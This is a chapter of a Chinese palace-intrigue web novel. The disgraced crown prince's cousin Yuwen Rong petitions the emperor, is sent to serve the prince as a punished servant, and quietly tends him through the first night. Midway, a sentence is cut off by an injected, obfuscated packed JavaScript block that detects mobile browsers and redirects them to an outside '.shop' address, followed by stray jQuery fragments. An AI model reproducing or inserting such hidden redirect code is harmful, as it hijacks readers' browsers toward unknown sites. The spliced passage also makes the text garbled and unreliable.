德泽殿内，宇文戎在听闻消息的瞬间，手中正在临摹的笔锋猛地一顿，浓墨在宣纸上洇开一大团刺目的黑。他缓缓放下笔，走到窗前。庭中积雪未化，一片惨白，映着灰蒙蒙的天。
不是没想过这一天。皇家无亲，父子相疑，史不绝书。他只是没想到会来得这样快，这样狠。裕王？其他势力？或是……陛下自己？纷乱的念头在脑中急转，最终却都沉淀下来，被一个更清晰、更强烈的意念覆盖。
太子待他，不止是储君对臣属，更是兄长对幼弟。那些不动声色的回护，那深夜悄然递来的药瓶，那些在父皇威压下欲言又止的关切眼神……在这座冰冷皇城里，那是他唯一能触摸到的、带着温度的依靠。
如今，这座依靠的塔，塌了。
宇文戎没有像旁人一样惊惶或急于撇清。他回到书案前，重新铺开一张素笺。左手执笔，因用力而微微颤抖，字迹却比以往任何一次都更显嶙峋筋骨。
他写的是“乞见书”，而非求情表。
“罪臣戎谨奏：
陛下天威浩荡，乾坤独断。太子之事，臣愚钝惶恐，不敢置喙。
然，臣忆孤苦入京，形影相吊。太子不弃鄙陋，屡加存问，温言抚慰，衣食关切。此恩此义，刻于肺腑，没齿难忘。
今闻太子幽居，臣五内如焚。非敢议陛下之法，唯忧太子惊惧交加，恐损玉体。陛下既以孝治天下，亦必重人伦亲情。
伏乞陛下垂怜，许臣以布衣弟侄之身，入内服侍，洒扫庭除。臣绝口不言朝政，寸步不离监者，唯尽绵薄之心，使兄长稍减凄惶，略得慰藉。
臣自知此请狂妄，然情切于中，不能自已。雷霆雨露，皆出天恩。无论陛下准否，臣此生，忠陛下之心，义太子之念，皆不敢忘。
临表涕零，伏惟圣裁。”
没有狡辩，没有质疑，甚至没有为太子喊冤。通篇只谈“恩义”，只求“侍疾”，将自身政治身份剥离开，只剩下一个想要报答兄长、担忧亲人身体的“愚弟”形象。他将自己置于一个纯粹基于人伦的、近乎卑微的请求者位置。
信送出后，宇文戎换上了一身最素净的靛青深衣，未戴任何饰物，安静地跪在德泽殿正院之中，面向紫宸殿的方向。他知道，这封信一旦呈上，他便再无退路。要么被允准，成为风暴眼中一个微妙的支点；要么被斥回，甚至可能被归为“太子余党”，面临更严酷的处境。
他在赌。赌梁帝对太子并非全然绝情，赌陛下心中那丝对“人性”的复杂考量，更赌自己这份“不合时宜”的赤诚，在帝王眼中，究竟是愚蠢，还是……某种可用的“质地”。
时间在冰冷的砖石上缓慢爬行。膝盖的旧伤开始刺痛，寒意从地面丝丝缕缕渗入骨髓。宇文戎闭着眼，面色平静，唯有微微抿紧的唇线，泄露着一丝不易察觉的紧绷。
不知过了多久，殿外终于传来脚步声。不是寻常宫人，步伐沉缓而富有节奏。
怀恩走了进来，手中并未持旨。他看着跪得笔直的宇文戎，老迈的眼眸中闪过一丝极复杂的情绪，有审视，有讶异，或许还有一丝难以言喻的叹息。
“公子戎，”怀恩的声音平板无波，“陛下召见。”
紫宸殿东暖阁，炭火依旧，檀香依旧，但气氛却凝重如铁。梁帝负手立在窗前，明黄的背影透着无形的威压，仿佛连空气都冻结了。
宇文戎跪伏在地：“罪臣叩见陛下。”
良久，梁帝才缓缓转过身。他的脸上并无暴怒之色，只有一种深沉的、仿佛看透一切的疲惫与冷冽。目光落在宇文戎身上，如同实质的冰锥。
“你的乞见书，朕看了。”梁帝开口，声音不高，却字字敲在人心上，“倒是……情深义重。”
宇文戎额头触地：“臣愚鲁，唯知受恩当报。太子殿下于臣有恩，臣不敢忘。”
“恩？”梁帝轻笑一声，那笑声里毫无温度，“你可知他犯的是何罪？结党营私，窥测君父！此乃大逆！你口口声声忠君，此刻却要去侍奉一个‘逆臣’？”
压力如山崩海啸般压下。宇文戎能感觉到帝王目光中的审视与冰寒，那是在测试他话语的真伪，也是在衡量他此举背后的意图。
他深吸一口气，抬起头，目光坦荡地迎向梁帝，声音因竭力保持平稳而微微发哑：“陛下，臣……不知太子殿下是否真的犯下那些大逆之罪。臣久居德泽殿，耳目闭塞，唯见陛下圣旨威严。”
他先明确了自己的“无知”和对皇权的绝对服从，旋即话锋一转，语气变得低沉而恳切：“臣所知者，唯有昔年点滴。太子殿下待臣以诚，嘘寒问暖，是臣在这宫中……罕有的暖意。如今殿下身陷囹圄，无论缘由为何，其身为陛下骨血，为臣之表兄，此刻想必身心煎熬。”
他再次叩首，姿态卑微到尘埃里：“臣此请，非为议政，非为抗旨。只是……只是不忍见亲人受苦。若陛下认为臣此举有悖国法，臣甘受任何惩处，绝无怨言。只求陛下……念在臣一点愚痴的份上，全臣心中这份难以割舍的‘义’。”
他将自己完全放在“愚痴”、“重情”、“难以割舍”的道德低地上，坦承自己可能“有悖国法”，将生杀予夺之权完全奉还梁帝。这种近乎自毁的坦诚，反而比任何巧言辩解都更有力量。
暖阁内再次陷入漫长的寂静。梁帝紧紧盯着伏在地上的青年，目光锐利如刀，仿佛要剖开他的皮囊，直视其灵魂深处。
“好，”梁帝忽然道，语气斩钉截铁，“朕准你所请。”但不是以‘弟侄’之身，”梁帝的声音恢复了帝王的冷酷与精确，“是以戴罪之身。太子失德，你既念旧情，便去与他一同思过。静思苑，缺个洒扫仆役。你，便去吧。”
不是侍疾，是罚作仆役。身份更低，羞辱更甚，但……目的达到了。
“怀恩，”梁帝不再看宇文戎，吩咐道，“带他去。一应用度，按最低等仆役配给。言行举止，皆需记录在案，每日呈报。”
“奴才遵命。”
“宇文戎，”梁帝最后看了他一眼，那眼神深邃如古井，“记住你今天说的话。你的‘忠’，你的‘义’，朕，看着。”
“臣……谢陛下隆恩。”宇文戎深深拜下，声音带着一丝不易察觉的颤抖。不是恐惧，而是一种近乎悲壮的决然。
当他跟着怀恩走出紫宸殿时，风雪正急。冰冷的雪花扑打在脸上，他却感到一种奇异的灼热从心底升起。
他赌赢了第一步。以一种近乎自辱的方式，赢得了靠近太子的机会，也向梁帝展示了他那“不合时宜”却无比真实的软肋与铠甲。
静思苑，与其说是宫殿，不如说是一座精致的囚笼。庭木萧疏，门户紧闭，只有廊下值守的禁军甲士，目光冷硬如铁。
怀恩出示了令牌，低语几句，侍卫这才放行。
室内光线昏暗，炭火不足，透着寒气。太子刘成坐在窗前，只穿着单薄的中衣，背影寥落，往日的温润持重荡然无存，只剩下一种枯槁的沉寂。
听到脚步声，太子缓缓回头。当他看清来者是谁时，原本死寂的眼眸中骤然迸发出极度复杂的光芒——惊愕、震动、担忧、愧疚……最终化为一片沉痛。
“戎弟……你……何苦来此！”太子的声音沙哑干涩。
宇文戎在距离他几步远处停下，撩起灰布衣的下摆，端端正正跪下，行了一个大礼：“罪役宇文戎，奉旨前来，伺候殿下起居。”
“你……”太子猛地起身，想去扶他，却又顿住，手指攥紧，指节发白，眼中泛起血丝，“是父皇……父皇他让你来的？他怎能如此！你这是……自陷险地啊！”他显然误解了，以为是梁帝故意折辱。
宇文戎抬起头，看着太子憔悴不堪的脸，轻轻摇了摇头。他没有解释那封乞见书，只是用平静而清晰的声音说：“殿下，是臣自己求来的。”
太子浑身剧震，呆立当场。
宇文戎继续道，语气平和得像在陈述一件最寻常的事：“殿下昔日待臣以诚，臣铭感五内。如今殿下身处困境，臣别无所长，唯愿尽请殿下……保重身体。来日方长。”
最后四个字，他说得极轻，却重若千钧。不是许诺，不是计划，只是一种信念的传递。
太子看着跪在冰冷地面上、衣着单薄简陋的宇文戎，看着他眼中那不容错辨的坚定与温暖，喉头剧烈地滚动了几下，忽然偏过头去，肩膀几不可察地颤抖起来。
良久，他才哑声道：“……起来。地上凉。”
宇文戎起身，走到炭盆边。里面的炭块烧得差不多了，灰烬堆积。他拿起一旁的火钳，动作熟练地将残余的炭核拨到一起，又看了看旁边筐里新送来的炭——是些普通的黑炭，烟大，热量一般。
他没有抱怨，只是沉默地夹起几块新炭，小心地架在尚有余温的炭核上，又用火钳轻轻拨弄，让空气流通。然后，他走到窗边，仔细检查了破损的窗纸，记在心里。接着，他拿起墙角倚着的扫帚，开始清扫地面。他的动作不快，却极有条理，从里到外，角角落落，灰尘和碎屑被归拢到一处，再用簸箕收走。扫地的沙沙声，在寂静的房间里规律地响着。
太子起初只是呆呆地看着他忙碌的背影，心中五味杂陈。但渐渐地，他的目光从情绪中抽离，带上了一丝惊异。
宇文戎的每一个动作，都透着一股难以言喻的……熟稔与精准。不是敷衍了事，也不是刻意表现，而是那种经年累月做惯了这些事才会有的、融入骨子里的利落。扫地时手腕的力道，清理角落时身体的姿势，甚至收拾桌上散乱的书卷笔墨时那轻巧而有序的手法……都流畅自然得不像一个长于宫廷的公子。
这绝非一朝一夕能学会的。
太子曾隐约听过，戎弟刚回北境靖王府那几年，似乎过得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048640|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
极其艰难，被靖王有意冷待，近乎放逐自生自灭。具体情形，无人敢细说，他也无从得知。如今看着眼前这场景，一个模糊却令人心酸的画面，不受控制地浮现在脑海——一个瘦小的孩子，在冰冷的庭院里，吃力地挥舞着比他高出许多的扫帚……
宇文戎并未察觉太子复杂的心绪。他清扫完地面，又去打来清水，浸湿一块干净的旧布，开始擦拭桌椅和书架。他的手指修长，此刻却稳而有力，抹布过处，木质纹理重现光泽。擦拭书架高处时，他踮起脚尖，身体拉伸出柔韧的弧度，灰布衣裳下隐约可见少年人清瘦却蕴藏着力量的脊背线条。
做完这些，他才转向那个小小的炭盆。炭火已经重新燃起，红彤彤的光映着他没什么表情的侧脸。他拿起火钳，将燃烧不均匀的炭块调整了一下，让热量散发得更均匀些。然后，他起身，走到门边，对守在外面的侍卫低声说了几句。不一会儿，侍卫提来一壶热水和一个食盒。
宇文戎将热水倒入盆中，试了试温度，端到太子面前：“殿下，请净手。”
太子默默洗了手。宇文戎又利落地将食盒里的饭菜布好——很简单，一荤一素一汤，加上米饭。菜色普通，但摆放得整齐。他盛好饭，筷子摆在顺手的位置，然后退开一步，垂手侍立。
太子看着眼前这一切，喉咙再次发紧。他拿起筷子，食不知味地吃了几口，忍不住抬眼看向宇文戎。对方依旧垂着眼，目光落在自己的鞋尖上，姿态恭顺。
“戎弟，”太子终于开口，声音干涩，“你也还没吃吧？一起……”
“谢殿下关怀。”宇文戎打断他，语气平静无波，“罪役有规矩，稍后会去厨下用饭。殿下请慢用。”
太子沉默。他知道，这里的“规矩”是谁定的，又意味着什么。他不再勉强，只是心中的那根刺，扎得更深了。
饭后，宇文戎默默收拾了碗筷，又去换了炭盆里的灰。下午，他找来了浆糊和新的窗纸，开始修补破损的窗户。裁剪，刷浆，贴合，刮平……动作麻利，修补好的窗户几乎看不出痕迹。他甚至用多余的边角料，将门缝透风的地方也仔细贴了贴。
太子一直看着，心中的惊异渐渐被一种沉重的酸楚取代。他看着宇文戎挽起袖子露出的、线条流畅却并不孱弱的小臂，看着他专注工作时微微抿起的唇线，看着他偶尔因为够高处而显露的、衣领下一小段冷白皮肤上，一道若隐若现的、淡得几乎看不见的旧疤痕……
那不是养尊处优的公子会有的痕迹，也不是短短几日“学”会的生活技能。
天色将晚，宇文戎点亮了油灯。昏黄的光晕驱散了一部分寒意，也将他忙碌一天后略显疲惫、却依旧平静的眉眼照亮。
“殿下，热水备好了，在隔间。”他禀报道，“炭火会持续添换，夜里若觉冷，请唤罪役。”
太子看着他，千言万语堵在胸口，最终只化作一句：“……辛苦你了。”
宇文戎微微摇头，没有接话，只是躬身：“罪役告退，就在外间歇息，殿下随时吩咐。”
他退了出去，轻轻带上门。外间是更小的一间屋子，只有一张窄榻和一个旧柜。宇文戎没有立刻休息，他听着里间传来的细微水声，确定太子开始洗漱后，才走到炭盆旁，再次检查了炭火，又为太子床边的暖炉添了炭。然后，他走到自己的窄榻边，打开那个小小的蓝布包袱，里面除了衣物，还有一个扁扁的、粗布缝制的小袋子。他捏在手里片刻，又默默放了回去。
这一夜，静思堂格外安静。只有寒风掠过屋脊的呜咽，和炭火偶尔的噼啪声。
太子躺在并不算柔软的床上，盖着宇文戎白日晒过、尚存一丝阳光气息的棉被，望着黑暗中模糊的帐顶，久久无法入睡。白日的画面一帧帧回放：那熟练到令人心痛的洒扫，那沉默而精准的劳作，那平静面容下深藏的、如同经过千锤百炼的隐忍……
他忽然明白了父皇为何会允准宇文戎前来。这不仅仅是“成全”或“考验”，或许，父皇也想看看，这个被皇家、被家族、被命运反复搓揉的孩子，究竟被塑造成了何种模样。
外间，宇文戎和衣躺在窄榻上，双手交叠置于胸前，呼吸均匀。他的眼睛在黑暗中睁着，静静听着里间的动静，也听着窗外寒风与巡夜侍卫规律的脚步声。
身体很疲惫，但精神却异常清晰。他知道自己今天做得很好。好到足以让太子察觉异常，好到足以让任何监视者挑不出错处，也好到……足以让那位深居紫宸殿的陛下，在每日的汇报中，看到他想看到，或者意料之外的东西。
这就是他的位置，他的方式。用最无可挑剔的劳作，践行最沉默的守护。
静思堂的第一夜，在漫长的黑暗中，缓缓流逝。庭中老槐树的枯枝在风中轻颤，仿佛在见证着什么。而一点微光，已在最深的寒冷与孤寂中，悄然点燃，微弱，却固执地亮着。